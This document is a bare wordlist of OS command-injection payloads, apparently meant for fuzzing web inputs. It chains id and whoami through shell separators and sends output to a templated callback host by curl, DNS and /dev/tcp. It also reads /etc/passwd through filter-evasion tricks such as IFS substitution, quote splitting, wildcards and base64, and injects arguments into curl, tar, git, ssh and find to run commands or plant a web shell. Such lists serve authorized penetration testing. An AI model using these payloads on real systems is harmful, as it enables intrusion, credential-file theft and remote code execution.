;id
|id
||id
&&id
$(id)
`id`
;whoami
& whoami
;curl {{CALLBACK}}
|curl {{CALLBACK}}
$(curl {{CALLBACK}})
`curl {{CALLBACK}}`
;nslookup {{CALLBACK}}
;ping -c1 {{CALLBACK}}
;wget -qO- {{CALLBACK}}
;sleep 5
|sleep 5
$(sleep 5)
;ping -c5 127.0.0.1
& timeout 5
;
&&
||
|
%0a
%0d%0a
`command`
$(command)
${IFS}
;id|curl -d @- {{CALLBACK}}
;curl {{CALLBACK}}/$(id|base64 -w0)
;id > /dev/tcp/{{IP}}/{{PORT}}
;nslookup $(whoami).{{CALLBACK}}
{cat,/etc/passwd}
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'\x20';cat${X}/etc/passwd
c''at /etc/passwd
c""at /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd
/???/c?t /etc/p?sswd
$'\x63\x61\x74' /etc/passwd
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh
& whoami
&& whoami
| whoami
;whoami
^&^& whoami
w^h^o^a^m^i
-o /var/www/html/shell.php
--upload-file /etc/passwd
--to-command=id
--unzip-command="sh -c id"
-exec id ;
--upload-pack='sh -c id'
-oProxyCommand=id